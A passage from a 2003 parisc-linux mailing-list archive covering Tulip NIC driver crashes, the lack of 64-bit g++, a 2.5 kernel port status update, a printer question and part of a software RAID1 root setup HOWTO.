Also, can you compare your .config with the one in 2.4.20-pa14.tgz
(ftp.p-l.o/kernels/c3000) or a default .config if that's closer?

BTW, one can safely enable MMIO on the b2k and perhaps either
(a) avoid the crash or (b) get an accurate IP on where in the code
it's crashing. "inb" has too many levels of indirection to see
exactly where in tulip it's crashing.

> (I also have a b180 but the buildin NIC is also "Digital DS21143 Tulip rev
> 65" :( )

Interesting. My b180 has:
grundler@debian:~$ lspci
00:01.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c875 (rev 14)
00:01.1 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c875 (rev 14)
00:02.0 Ethernet controller: Intel Corp. 82557/8/9 [Ethernet Pro 100]
(rev 01)
00:13.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c875 (rev 04)
00:14.0 Ethernet controller: Digital Equipment Corporation DECchip
21142/43 (rev 30)

For the record, 21143 is the eth0. I use the eepro100 card for
local private subnet.

hth,
grant


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 14 Jan 2003 18:49:46 +0100
Lines: 131
Approved: news@gmane.org
Message-ID: <3DED9A6600005A12__11524.2457286969$1416622112$gmane$org@ocpmta3.freegates.net>
References: <20030114165202.GA32537@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622112 19955 80.91.229.3 (22 Nov 2014 02:08:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:32 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 10:49:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16C304829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 10:49:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18YVC8-00079o-00; Tue, 14 Jan 2003 18:49:48 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 14 Jan 2003 18:49:46 +0100
In-Reply-To: <20030114165202.GA32537@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17384

>-- Original Message --
>Date: Tue, 14 Jan 2003 09:52:03 -0700
>To: jsoe0708@tiscali.be
>Cc: Randolph Chung <tausq@debian.org>,
>	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
>Subject: Re: [parisc-linux] new gcc-default for hppa
>From: grundler@dsl2.external.hp.com (Grant Grundler)
>
>
>On Tue, Jan 14, 2003 at 07:57:01AM +0100, jsoe0708@tiscali.be wrote:
>> Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
>> tulip0: no phy info, aborting mtable build
>> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
>> eth0: Digital DS21143 Tulip rev 65 at 0xf00, 00:30:D3:01:5A:3B, IRQ 66=
.
>> tulip1:  EEPROM default media type Autosense.
>> tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3)
block.
>> tulip_mii_recover: 100 ms
>> tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
>> tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
>> eth1: Digital DS21143 Tulip rev 65 at 0x12100, 00:30:6E:06:23:D0, IRQ
130.
>> Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
>> ide: Assuming 33MHz system bus speed for PIO modes; override with ideb=
us=3Dxx
>> ....
>> 
>> No chance, as you can see, the two interfaces are of the same time.
>
>I'll assume you meant same "type".

Yes, Sorry:

b2000:/var/logs# lspci
00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/=
43
(rev 41)
00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 IDE=

(rev 03)
00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev
01)
00:0e.2 USB Controller: National Semiconductor Corporation USB Controller=

(rev 02)
00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a (rev
01)
01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
01:02.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/=
43
(rev 41)
01:03.0 SCSI storage controller: LSI Logic / Symbios Logic 53c875 (rev 26=
)
01:04.0 Network controller: Eicon Technology Corporation EiconCard P92


b180:/var/logs# lspci
00:13.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR)=

53c875 (rev 04)
00:14.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/=
43
(rev 41)

> They only happen to be the same rev
>of the same device - mounted on different boards and wired
>up to the PHY differently. ie they excercise slighly different code
>paths in the tulip media init code path. This sounds more like a
>bug in tulip driver than a compiler bug.
>
>I've not tried add-on tulip's in my c3k (only minor differences to b2k).=

>I believe (but am not 100% sure right now) that gcc-3.2 built kernels
>worked on that box.  I am sure gcc-3.2 built 2.4 kernels worked on a500.=

>
>Also, can you compare your .config with the one in 2.4.20-pa14.tgz
>(ftp.p-l.o/kernels/c3000)

There are a lot of differences (do you want it I do not think it will be
usefull)

> or a default .config if that's closer?

It will have to wait tommorrow (sorry)

>
>BTW, one can safely enable MMIO on the b2k and perhaps either

I assume you speek about:# CONFIG_TULIP_MMIO is not set (on my config?)

>(a) avoid the crash or (b) get an accurate IP on where in the code
>it's crashing. "inb" has too many levels of indirection to see
>exactly where in tulip it's crashing.
>
>> (I also have a b180 but the buildin NIC is also "Digital DS21143 Tulip=

>rev
>> 65" :( )
>
>Interesting. My b180 has:
>grundler@debian:~$ lspci
>00:01.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
>NCR) 53c875 (rev 14)
>00:01.1 SCSI storage controller: LSI Logic / Symbios Logic (formerly
>NCR) 53c875 (rev 14)
>00:02.0 Ethernet controller: Intel Corp. 82557/8/9 [Ethernet Pro 100]
>(rev 01)
>00:13.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
>NCR) 53c875 (rev 04)
>00:14.0 Ethernet controller: Digital Equipment Corporation DECchip
>21142/43 (rev 30)
>
>For the record, 21143 is the eth0. I use the eepro100 card for
>local private subnet.
>
Thanks for advises,
    Joel

PS: Sorry to be short but I have to leave, I inform you of progress

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] g++ compiler
Date: Tue, 14 Jan 2003 12:53:32 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F0114A6FA@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622112 19960 80.91.229.3 (22 Nov 2014 02:08:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:32 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 10:53:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE6464829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 10:53:37 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel6.hp.com (Postfix) with ESMTP id 613D01436
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 12:53:37 -0500 (EST)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 571A11C009EA
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 12:53:37 -0500 (EST)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <CW06KFVY>; Tue, 14 Jan 2003 12:53:37 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17385

Hi people,

	Where am I found the g++ 64 compiler for pa-risc? I am need to
compile a 64 bits applications and I am only found the gcc compiler for 64,
I install this compiler and when I try to compile a c++ aplication for 64, I
receive the message that the g++ compiler was not installed.
	 
	What am I do?

	Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] g++ compiler
Date: Tue, 14 Jan 2003 17:55:55 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20030114175555.Y26554@parcelfarce.linux.theplanet.co.uk>
References: <9A0482A7BD2506488AD9417C93F3714F0114A6FA@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622112 19961 80.91.229.3 (22 Nov 2014 02:08:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:32 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 10:55:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E4804829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 10:55:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18YVI4-00089Q-00; Tue, 14 Jan 2003 17:55:56 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F0114A6FA@xsp01.brazil.hp.com>; from leandro.farinati@hp.com on Tue, Jan 14, 2003 at 12:53:32PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17386

On Tue, Jan 14, 2003 at 12:53:32PM -0500, FARINATI,LEANDRO (HP-Brazil,ex1) wrote:
> 	Where am I found the g++ 64 compiler for pa-risc? I am need to
> compile a 64 bits applications and I am only found the gcc compiler for 64,
> I install this compiler and when I try to compile a c++ aplication for 64, I
> receive the message that the g++ compiler was not installed.

there is no 64-bit userspace available for PA/Linux yet.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 status update 2003-01-14
Date: Tue, 14 Jan 2003 11:02:00 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20030114180200.GC32537@dsl2.external.hp.com>
References: <20030114155409.X26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622112 19967 80.91.229.3 (22 Nov 2014 02:08:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 11:02:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id B677D4829; Tue, 14 Jan 2003 11:02:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030114155409.X26554@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17387

On Tue, Jan 14, 2003 at 03:54:09PM +0000, Matthew Wilcox wrote:
>  - drivers/pci/setup-bus.c has a hppa-specific #ifdef right now to
>    prevent pci reinit from hpmc'ing the machine. this probably needs to
>    go upstream

This code has changed alot. I'll look at it this week to see if
we still need this and if so, how to get rid of it.

>  - ad1889 driver - stress, debug, ALSA and commit to 2.5 (ggg, tausq, tbone)

What we have now only groks .wav files (eg cat foo.wav > /dev/audio).
We need better docs for this chip.
The ad1889.pdf data sheet is only an abbreviated guide to the chip.
It's not good enough for writing a driver from scratch.

>  - CPU hotplug support (maybe not needed, V-Class doesn't support that feature)

While we may not be able to physically remove the CPU, it would be
useful to take CPUs "offline" when they start misbehaving.

>  - fix harmony buffer-overflows

Laurent rewrote harmony to be Alsa compliant and it seems to be working.
I just have to learn how to setup/use alsa properly.

>  - the irq needs to go from doubly-indexed to singly-indexed scheme, or else fs/proc/proc_misc.c needs changes.

you fixed this.

>  Started and in progress:
>  ------------------------
>  - port sym53c8xx hppa changes forward (helge)
>  - push STI changes upstream (helge)
>  - Look at Config.help too. (tbone, HIL -> helge?)
>  - send tulip changes to jgarzik (grant)

done.

>  - switching Harmony to ALSA (laurent)

nearly done.

>  - oprofile support (tausq)

done? Seems like it's working but has a bug.

thanks,
grant


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 status update 2003-01-14
Date: Tue, 14 Jan 2003 10:02:05 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030114180205.GJ12986@tausq.org>
References: <20030114155409.X26554@parcelfarce.linux.theplanet.co.uk> <20030114180200.GC32537@dsl2.external.hp.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622113 19972 80.91.229.3 (22 Nov 2014 02:08:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 11:06:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06BBA4829
	for <parisc-linux@parisc-linux.org>; Tue, 14 Jan 2003 11:06:05 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 36C96CD3A7; Tue, 14 Jan 2003 10:02:05 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030114180200.GC32537@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17388

> >  - oprofile support (tausq)
> 
> done? Seems like it's working but has a bug.

well, not really. the stuff in cvs now will compile but not work. i have
local changes to make it work (modulo some bugs), but it requires some 
core changes. i'm working with the oprofile developers to get those 
changes incorporated first.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Printing problem with HP9000 712/80
Date: Tue, 14 Jan 2003 11:16:05 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030114181605.GD32537@dsl2.external.hp.com>
References: <200301100739.h0A7d5JW010596@vilmos.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622113 19977 80.91.229.3 (22 Nov 2014 02:08:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Vilmos Soti <vilmos@vilmos.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 11:16:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id AF8764829; Tue, 14 Jan 2003 11:16:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200301100739.h0A7d5JW010596@vilmos.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17389

On Thu, Jan 09, 2003 at 11:39:05PM -0800, Vilmos Soti wrote:
> So now I am in the situation that the HP computer
> doesn't talk to the HP printer but to the Panasonic one.

Vilmos,
You seem to assume the HPUX workstation division and the HP printer
division support parisc-linux. Unfortunately,that's not the case.

The parallel port HW in 712/80 is designed in early 1990s.
Is the 712/80 capable of talking to your printer?

Later parallel port standards support bidirectional data and
I'm not sure LASI chip properly supports that. Maybe someone
can clarify since I'd like to hook a Connectix Color Quickcam
to my B180. I know it works with my laptop but had problems
on the b180.

grant


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC Linux RAID1 Root HOWTO
Date: 14 Jan 2003 14:27:11 -0500
Organization: mkp.net
Lines: 241
Approved: news@gmane.org
Message-ID: <yq1smvv4jn4.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622113 19981 80.91.229.3 (22 Nov 2014 02:08:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 12:27:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAB3B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 12:27:17 -0700 (MST)
Original-Received: from austin.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id B8B9B1781B; Tue, 14 Jan 2003 14:27:10 -0500 (EST)
Original-Received: by austin.mkp.net (Postfix, from userid 1654)
	id 937AAC6EFD; Tue, 14 Jan 2003 14:27:11 -0500 (EST)
Original-Lines: 241
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17390

PA-RISC Linux RAID1 Root HOWTO

I successfully got mirrored system drives going in my C3000 and
thought I'd share what I did to make this work.

Unfortunately, the Debian boot floppies do not support installations
onto software RAID so this is a multi-stage process:

    o Installing Debian on disk 1

    o Creating a degraded RAID1 array on disk 2 and copying the
      Debian installation over from disk 1

    o Repartitioning disk 1 and attaching it to the degraded array


                              --- o ---


1. First install a base Debian as usual onto the first disk.


2. Partition the second drive along the lines of this:  

    Disk /dev/sdb: 9173 MB, 9173114880 bytes
    255 heads, 63 sectors/track, 1115 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes

       Device Boot    Start       End    Blocks   Id  System
    /dev/sdb1             1         5     40131   f0  Linux/PA-RISC boot
    /dev/sdb2             6        14     72292+  fd  Linux raid autodetect
    /dev/sdb3            15        77    506047+  fd  Linux raid autodetect
    /dev/sdb4            78      1115   8337735   fd  Linux raid autodetect

Caveat: If your two disks are not the same brand/model, you need to be
extra careful.  Capacities tend to vary a bit between models and you
must make sure that you can fit the same number of blocks on both
drives.  Use fdisk to compare the disk sizes and adjust the partition
sizes accordingly.

Note how the partition type is set to "Linux raid autodetect" (0xfd)
instead of the usual "Linux" (0x83).

The first partition is PALO, followed by /boot, swap and then a big
root.  As usual it's important that /boot is within the first 2GB.
You can have more partitions if you wish, but for this exercise I
decided to keep things to a minimum.


3. Now it is time to create the raid devices:

    # apt-get install mdadm
    # mdadm --create /dev/md0 --level 1 --raid-devices=2 missing /dev/sdb2
    # mdadm --create /dev/md1 --level 1 --raid-devices=2 missing /dev/sdb3
    # mdadm --create /dev/md2 --level 1 --raid-devices=2 missing /dev/sdb4

This creates 3 degraded RAID1 devices (/boot, swap, and /) consisting
of a placeholder ("missing") and the partitions created on /dev/sdb.

    # cat /proc/mdstat 
    Personalities : [linear] [raid0] [raid1] [raid5] 
    read_ahead 1024 sectors
    md2 : active raid1 sdb4[1]
          8337664 blocks [2/1] [_U]

    md1 : active raid1 sdb3[1]
          505920 blocks [2/1] [_U]
      
    md0 : active raid1 sdb2[1]
          72192 blocks [2/1] [_U]
      
    unused devices: <none>

Note how the first drive in all three cases is missing ("_") as
opposed to up ("U").


4. Create filesystems/swap space:

    # mke2fs -j /dev/md0
    [...]
    # mke2fs -j /dev/md2
    [...]
    # mkswap /dev/md1
    [...]


5. Mount the filesystems and copy data over:

    # mount /dev/md2 /mnt
    # mkdir /mnt/boot
    # mount /dev/md0 /mnt/boot 
    # cd /mnt
    # tar -C / -clspf - . | tar -xlspvf -


6. Edit the /mnt/etc/palo.conf so it looks like this:

    # cat /mnt/etc/palo.conf 
    --commandline=2/vmlinux root=/dev/md2 HOME=/
    --recoverykernel=/boot/vmlinux-2.4.17-32


7. Make /dev/sdb bootable by running palo:

    # palo -f /mnt/etc/palo.conf -I /dev/sdb
    palo version 1.1 mkp@allegro Tue Jan 14 12:44:00 EST 2003
    ELF32 executable
    Partition Start(MB) End(MB) Id Type
    1               1      39   f0 Palo
    2              40     109   fd RAID
